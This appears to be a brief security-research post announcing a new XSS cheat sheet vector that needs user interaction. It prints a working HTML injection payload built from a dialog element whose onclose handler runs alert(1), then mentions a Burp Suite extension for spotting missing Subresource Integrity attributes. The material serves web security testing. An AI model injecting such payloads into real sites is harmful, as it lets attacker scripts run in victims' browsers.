We have another new vector for the XSS cheat sheet! This one requires user interaction and uses the method attribute with the dialog value.
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>sri-check | A Burp Suite extension for identifying missing Subresource Integrity attributes.
https://github.com/PortSwigger/sri-check
https://github.com/PortSwigger/sri-check
